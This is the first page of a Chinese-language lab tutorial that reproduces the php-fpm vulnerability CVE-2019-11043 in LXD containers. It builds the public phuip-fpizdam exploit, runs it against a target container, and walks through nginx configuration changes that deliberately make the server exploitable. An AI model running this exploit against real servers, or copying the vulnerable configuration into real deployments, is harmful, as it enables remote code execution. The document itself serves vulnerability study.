在Linux 容器中对php-fpm缓冲区溢出漏洞的复现分析 ( CVE-2019-11043 )

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
 ubuntu@vulnerable:~$ curl http://localhost
 Hello World
 ubuntu@vulnerable:~$
存在漏洞的容器已准备就绪,为容器做个快照,以备将来会使用到。
 ubuntu@vulnerable:~$ logout
 $ lxc snapshot vulnerable stock-with-php-on
 $
0x02 配置攻击容器环境
创建hacker容器并编译漏洞利用代码:
 $ lxc launch ubuntu:18.04 hacker
 Creating hacker
 Starting hacker
 $ lxc exec hacker -- sudo --user ubuntu --login
 ubuntu@hacker:~$ sudo snap install go --classic
 go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed
 ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git
 ubuntu@hacker:~$ cd phuip-fpizdam/
 ubuntu@hacker:~/phuip-fpizdam$ go build
 go: downloading github.com/spf13/cobra v0.0.5
 go: extracting github.com/spf13/cobra v0.0.5
 go: downloading github.com/spf13/pflag v1.0.3
 go: extracting github.com/spf13/pflag v1.0.3
 go: finding github.com/spf13/cobra v0.0.5
 go: finding github.com/spf13/pflag v1.0.3
 ubuntu@hacker:~/phuip-fpizdam$ ls
  README.md  consts.go  detect_methods.go  go.sum   phpini.go     
  reproducer attack.go  detect.go  go.mod  main.go  phuip-fpizdam 
  requester.go
 ubuntu@hacker:~/phuip-fpizdam$
在这一阶段,我们可以尝试查看vulnerable容器中nginx + php的常规安装是否可以执行漏洞利用代码实现利用。该vulnerable容器是通过使用名称加上.lxd从这个容器访问。每个LXD容器都是随机获得这样的主机名的,其他容器都可以使用这些主机名来访问所有这些主机名。
 ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php
 
Hello World
 ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php
 2019/10/28 10:09:06 Base status code is 404
 2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong
 ubuntu@hacker:~/phuip-fpizdam$
hacker容器已经准备就绪,vulnerable容器是不是真的可以被利用,需要恢复快照到可以利用的状态。
0x03 配置vulnerable容器
在上面的服务器配置中,有一个指令是include snippets/fastcgi-php.conf;,该指令用于逐字节include一组配置。我们需要编辑这些配置,因此导入整个文件,服务器块如下所示:
 # Location: /etc/nginx/sites-enabled/default
  server {
         listen 80 default_server;
         root /var/www/html;
          # Add index.php to the list if you are using PHP
         index index.html index.php;
          server_name _;
          location / {
             # First attempt to serve request as file, then
             # as directory, then fall back to displaying a 404.
             try_files $uri $uri/ =404;
         }
          # pass PHP scripts to FastCGI server
         #
         location ~ /.php$ {
  # regex to split $uri to $fastcgi_script_name and $fastcgi_path
 fastcgi_split_path_info ^(.+.php)(/.+)$;
  # Check that the PHP script exists before passing it
 try_files $fastcgi_script_name =404;
  # Bypass the fact that try_files resets $fastcgi_path_info
 # see: http://trac.nginx.org/nginx/ticket/321
 set $path_info $fastcgi_path_info;
 fastcgi_param PATH_INFO $path_info;
  fastcgi_index index.php;
 include fastcgi.conf;
              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
        }
 }
我们进行以下最小更改。
首先,将匹配模式更改为所述模式。其次,注释掉try_files指令。然后,将include fastcgi.conf目录移到该部分的最外层。该文件位于/etc/nginx/fastcgi.conf,只需要将几个环境变量设置为PHP-FPM。

更改为php-fpm的默认nginx配置。
这是最终漏洞程序的配置文件。
 # Location: /etc/nginx/sites-enabled/default
  server {
         listen 80 default_server;
         root /var/www/html;
          # Add index.php to the list if you are using PHP

上一页  [1] [2] [3]  下一页